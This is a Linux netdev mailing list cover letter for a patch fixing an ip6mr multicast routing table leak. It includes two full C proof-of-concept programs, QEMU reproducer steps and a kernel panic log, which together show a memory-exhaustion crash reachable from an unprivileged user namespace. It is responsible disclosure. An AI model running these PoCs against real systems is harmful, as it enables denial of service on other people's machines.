From: Ren Wei <enjou1224z@gmail.com>
To: netdev@vger.kernel.org
Cc: dsahern@kernel.org, idosch@nvidia.com, davem@davemloft.net,
edumazet@google.com, pabeni@redhat.com, horms@kernel.org,
kaber@trash.net, vega@nebusec.ai, zihanx@nebusec.ai,
enjou1224z@gmail.com
Subject: [PATCH net 0/1] ipv6: ip6mr: fix mr_table lifetime leak
Date: Fri, 24 Jul 2026 01:38:22 +0800 [thread overview]
Message-ID: <cover.1784795838.git.zihanx@nebusec.ai> (raw)
From: Zihan Xi <zihanx@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated a table lifetime leak in net/ipv6/ip6mr.c. The
bug is reachable through IPPROTO_IPV6 multicast-routing setsockopt
operations on a raw ICMPv6 socket by a task that has CAP_NET_ADMIN and
CAP_NET_RAW in the target netns, including a process that first enters
a fresh user+net namespace with unshare -Urn. We tested the fix on
Linux 7.2-rc4, including the legacy MRT6_TABLE loop plus INIT/close
and INIT/DONE teardown paths, and it should not affect other multicast
routing functionality. The decoded crash log below is the preserved
unfixed reference panic from an earlier 7.1.0-rc1 run.
This series contains one patch:
1/1 ipv6: ip6mr: fix mr_table lifetime leak
We provide bug details, reproducer steps, and a crash log below.
---- details below ----
Bug details:
MRT6_TABLE should only select a multicast routing table, but a fresh
non-default mr_table could still outlive the socket once MRT6_INIT
published it. After MRT6_DONE or socket close, ip6mr_sk_done() cleared
the routing state but left an empty table linked from mr6_tables, so
repeated MRT6_TABLE(fresh id) -> MRT6_INIT -> MRT6_DONE/close cycles
accumulated detached tables until netns teardown and eventually
exhausted memory.
A safe fix needs to account for RCU readers in lookup, getsockopt,
ioctl, and multicast data paths. This series keeps MRT6_TABLE as a
pure selector, adds refcounted lifetime pins for runtime users and
socket ownership, removes empty non-default tables from the published
set with list_del_rcu() during teardown, and defers the final free to
process context when the last reference drops outside RTNL. The common
mr_table allocator also holds a netns reference until final table
destruction.
Reproducer:
host$ qemu-img create -f qcow2 -F raw \
-b /mnt/d/WSL/prepare-package/kernel-image/bullseye.img \
/tmp/ip6mr-master-verify-overlay.qcow2
host$ qemu-system-x86_64 -m 2G -cpu host -smp 2 \
-machine accel=kvm \
-kernel /var/cache/linux-patch/ip6mr-master-build/arch/x86/boot/bzImage \
-append 'root=/dev/sda rw console=ttyS0 earlyprintk=serial \
net.ifnames=0 biosdevname=0 panic_on_warn=1 oops=panic \
slub_debug=FZPU page_poison=1 init_on_alloc=1 init_on_free=1' \
-drive file=/tmp/ip6mr-master-verify-overlay.qcow2,format=qcow2 \
-nographic -netdev user,id=net0,hostfwd=tcp::19023-:22 \
-device virtio-net-pci,netdev=net0
host$ scp -P 19023 poc.static verify-clean/poc-initdone.static \
root@localhost:/tmp/
guest# /tmp/poc.static 30000 1
guest# /tmp/poc-initdone.static 10000 500000 close
guest# /tmp/poc-initdone.static 10000 600000 done
guest# su - test_user -c \
'unshare -Urn sh -c "/tmp/poc-initdone.static \
10000 700000 done"'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The main INIT/close and INIT/DONE reproducer is shown first. The
legacy MRT6_TABLE-only helper used for the secondary check follows.
------BEGIN poc-initdone.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [count] [start_table] [mode]\n"
" count: number of sockets/tables to create (default: 20000)\n"
" start_table: first table id to use (default: 1)\n"
" mode: close | done (default: close)\n",
prog);
exit(1);
}
static int do_one(unsigned int table, int do_done)
{
int fd;
int one = 1;
fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
if (fd < 0) {
fprintf(stderr, "socket failed for table %u: %s\n", table,
strerror(errno));
return -1;
}
if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table, sizeof(table)) < 0) {
fprintf(stderr, "MRT6_TABLE(%u) failed: %s\n", table,
strerror(errno));
close(fd);
return -1;
}
if (setsockopt(fd, IPPROTO_IPV6, MRT6_INIT, &one, sizeof(one)) < 0) {
fprintf(stderr, "MRT6_INIT(%u) failed: %s\n", table,
strerror(errno));
close(fd);
return -1;
}
if (do_done && setsockopt(fd, IPPROTO_IPV6, MRT6_DONE, &one, sizeof(one)) < 0) {
fprintf(stderr, "MRT6_DONE(%u) failed: %s\n", table,
strerror(errno));
close(fd);
return -1;
}
if (close(fd) < 0) {
fprintf(stderr, "close(%u) failed: %s\n", table, strerror(errno));
return -1;
}
return 0;
}
int main(int argc, char **argv)
{
unsigned int count = 20000;
unsigned int start = 1;
unsigned int i;
int do_done = 0;
if (argc > 4)
usage(argv[0]);
if (argc >= 2)
count = strtoul(argv[1], NULL, 0);
if (argc >= 3)
start = strtoul(argv[2], NULL, 0);
if (argc == 4) {
if (!strcmp(argv[3], "done"))
do_done = 1;
else if (strcmp(argv[3], "close"))
usage(argv[0]);
}
if (!count || !start || start >= 100000000U)
usage(argv[0]);
for (i = 0; i < count; i++) {
u_int32_t table = start + i;
if (table >= 100000000U) {
fprintf(stderr, "stopped before invalid table id %u\n", table);
break;
}
if (do_one(table, do_done) < 0)
return 2;
if ((i % 1000) == 0) {
struct rusage ru;
if (!getrusage(RUSAGE_SELF, &ru))
fprintf(stderr,
"completed=%u current_table=%u maxrss_kb=%ld mode=%s\n",
i + 1, table, ru.ru_maxrss,
do_done ? "done" : "close");
else
fprintf(stderr,
"completed=%u current_table=%u mode=%s\n",
i + 1, table, do_done ? "done" : "close");
}
}
fprintf(stderr,
"done: completed %u init/%s cycles starting at table %u\n",
i, do_done ? "done" : "close", start);
sleep(2);
return 0;
}
------END poc-initdone.c--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute6.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [count] [start_table]\n"
" count: number of new MRT6 table ids to allocate (default: 200000)\n"
" start_table: first table id to use (default: 1)\n",
prog);
exit(1);
}
int main(int argc, char **argv)
{
unsigned int count = 200000;
unsigned int start = 1;
unsigned int i;
int fd;
if (argc > 3)
usage(argv[0]);
if (argc >= 2)
count = strtoul(argv[1], NULL, 0);
if (argc == 3)
start = strtoul(argv[2], NULL, 0);
if (count == 0 || start == 0 || start >= 100000000U)
usage(argv[0]);
fd = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
if (fd < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)");
for (i = 0; i < count; i++) {
u_int32_t table = start + i;
if (table >= 100000000U) {
fprintf(stderr, "stopped before invalid table id %u\n", table);
break;
}
if (setsockopt(fd, IPPROTO_IPV6, MRT6_TABLE, &table,
sizeof(table)) < 0) {
fprintf(stderr,
"setsockopt(MRT6_TABLE, %u) failed after %u allocations: %s\n",
table, i, strerror(errno));
close(fd);
return 2;
}
if ((i % 10000) == 0) {
struct rusage ru;
if (!getrusage(RUSAGE_SELF, &ru))
fprintf(stderr,
"allocated=%u current_table=%u maxrss_kb=%ld\n",
i + 1, table, ru.ru_maxrss);
else
fprintf(stderr, "allocated=%u current_table=%u\n",
i + 1, table);
}
}
fprintf(stderr,
"done: allocated %u tables on one socket without MRT6_INIT; closing socket now\n",
i);
close(fd);
sleep(2);
fprintf(stderr, "socket closed; tables persist until netns teardown\n");
return 0;
}
------END poc.c--------
The decoded crash log below is the preserved unfixed reference panic
from the earlier 7.1.0-rc1 run.
----BEGIN crash log----
[ 1443.893330][ T1] Kernel panic - not syncing: System is deadlocked on memory
[ 1443.893927][ T1] CPU: 3 UID: 0 PID: 1 Comm: systemd Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 1443.894503][ T1] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1443.895175][ T1] Call Trace:
[ 1443.895398][ T1] <TASK>
[ 1443.895601][ T1] vpanic+0x6c3/0x790
[ 1443.895879][ T1] ? __pfx_vpanic+0x10/0x10
[ 1443.896186][ T1] panic+0xca/0xd0
[ 1443.896433][ T1] ? __pfx_panic+0x10/0x10
[ 1443.896749][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.897134][ T1] out_of_memory+0x1400/0x1430
[ 1443.897461][ T1] ? __pfx_out_of_memory+0x10/0x10
[ 1443.897813][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.898196][ T1] __alloc_frozen_pages_noprof+0x2306/0x2af0
[ 1443.898613][ T1] ? __pfx_blk_mq_flush_plug_list+0x10/0x10
[ 1443.899002][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.899373][ T1] ? ext4_mpage_readpages+0x577/0x14d0
[ 1443.899733][ T1] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10
[ 1443.900180][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.900543][ T1] ? __blk_flush_plug+0x27d/0x4e0
[ 1443.900912][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.901277][ T1] ? blk_finish_plug+0x52/0xa0
[ 1443.901605][ T1] alloc_pages_mpol+0x14a/0x440
[ 1443.901919][ T1] ? __pfx_alloc_pages_mpol+0x10/0x10
[ 1443.902263][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.902643][ T1] folio_alloc_noprof+0x16/0x1a0
[ 1443.902965][ T1] filemap_alloc_folio_noprof.part.0+0x285/0x350
[ 1443.903371][ T1] ? __pfx_filemap_alloc_folio_noprof.part.0+0x10/0x10
[ 1443.903813][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.904177][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.904560][ T1] __filemap_get_folio_mpol+0x3e2/0x880
[ 1443.904934][ T1] filemap_fault+0x12c6/0x2370
[ 1443.905251][ T1] ? __pfx_filemap_fault+0x10/0x10
[ 1443.905634][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.905996][ T1] ? find_held_lock+0x2b/0x80
[ 1443.906296][ T1] ? __pfx_filemap_map_pages+0x10/0x10
[ 1443.906672][ T1] __do_fault+0xf0/0x310
[ 1443.906952][ T1] do_fault+0x873/0x1230
[ 1443.907243][ T1] __handle_mm_fault+0x1186/0x1f90
[ 1443.907595][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.907980][ T1] ? reacquire_held_locks+0xcd/0x1f0
[ 1443.908329][ T1] ? __pfx___handle_mm_fault+0x10/0x10
[ 1443.908714][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.909081][ T1] ? lock_vma_under_rcu+0x12b/0x3f0
[ 1443.909439][ T1] ? __pfx_lock_vma_under_rcu+0x10/0x10
[ 1443.909822][ T1] handle_mm_fault+0x2ad/0x8c0
[ 1443.910138][ T1] ? rcu_is_watching+0x12/0xc0
[ 1443.910444][ T1] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1443.910815][ T1] do_user_addr_fault+0x302/0xdd0
[ 1443.911147][ T1] ? trace_page_fault_user+0x133/0x180
[ 1443.911514][ T1] exc_page_fault+0x64/0xd0
[ 1443.911812][ T1] asm_exc_page_fault+0x26/0x30
[ 1443.912130][ T1] RIP: 0033:0x7f4be5e464d4
[ 1443.912422][ T1] Code: Unable to access opcode bytes at 0x7f4be5e464aa.
Code starting with the faulting instruction
===========================================
[ 1443.912875][ T1] RSP: 002b:00007ffec58b8a60 EFLAGS: 00010286
[ 1443.913276][ T1] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 0000000000000000
[ 1443.913785][ T1] RDX: 00007f4be5f96000 RSI: ffffffffffffffff RDI: 00007f4be6375a73
[ 1443.914285][ T1] RBP: 00007f4be6375a71 R08: 000055b690575010 R09: 000055b690587810
[ 1443.914805][ T1] R10: 00007f4be5f198b6 R11: 0000000000000057 R12: ffffffffffffffff
[ 1443.915306][ T1] R13: 000055b690575010 R14: 0000000000000000 R15: 0000000000000073
[ 1443.915839][ T1] </TASK>
[ 1443.916485][ T1] Kernel Offset: disabled
[ 1443.916802][ T1] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
ipv6: ip6mr: fix mr_table lifetime leak
include/linux/mroute_base.h | 6 +
net/ipv4/ipmr_base.c | 6 +-
net/ipv6/ip6mr.c | 328 +++++++++++++++++++++++++++---------
3 files changed, 258 insertions(+), 82 deletions(-)
base-commit: 1590cf0329716306e948a8fc29f1d3ee87d3989f
--
2.43.0
next reply other threads:[~2026-07-23 17:38 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-23 17:38 Ren Wei [this message]
2026-07-23 17:38 ` [PATCH net 1/1] ipv6: ip6mr: fix mr_table lifetime leak Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1784795838.git.zihanx@nebusec.ai \
--to=enjou1224z@gmail.com \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=edumazet@google.com \
--cc=horms@kernel.org \
--cc=idosch@nvidia.com \
--cc=kaber@trash.net \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
--cc=zihanx@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox